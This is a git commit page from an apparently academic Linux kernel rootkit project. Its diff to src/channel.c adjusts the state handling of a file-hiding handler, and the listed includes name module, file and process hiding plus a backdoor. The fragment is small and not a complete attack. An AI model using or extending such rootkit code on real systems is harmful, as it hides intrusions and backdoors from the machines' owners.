linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit c03da3257ebe89568a2b4798bbcd68a99322a9c8
parent 5d167742578f2da77e81e9c61f12125034bc5fb2
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 23:42:05 +0100

fixes issues

Diffstat:
Msrc/channel.c | 8++++++--
1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/src/channel.c b/src/channel.c @@ -9,6 +9,7 @@ #include "common.h" #include "modhide.h" #include "filehide.h" +#include "filehide_lstar.h" #include "openhide.h" #include "backdoor.h" #include "pidhide.h" @@ -123,8 +124,11 @@ handle_modhide(unsigned long arg) int handle_filehide(unsigned long arg) { - static fh_state_t last_state - = rootkit.hiding_files == FH_OFF ? FH_TABLE : rootkit.hiding_files; + static fh_state_t last_state = FH_OFF; + + if (last_state == FH_OFF) + last_state = rootkit.hiding_files + == FH_OFF ? FH_TABLE : rootkit.hiding_files; long sarg = (long)arg; bool set = rootkit.hiding_files;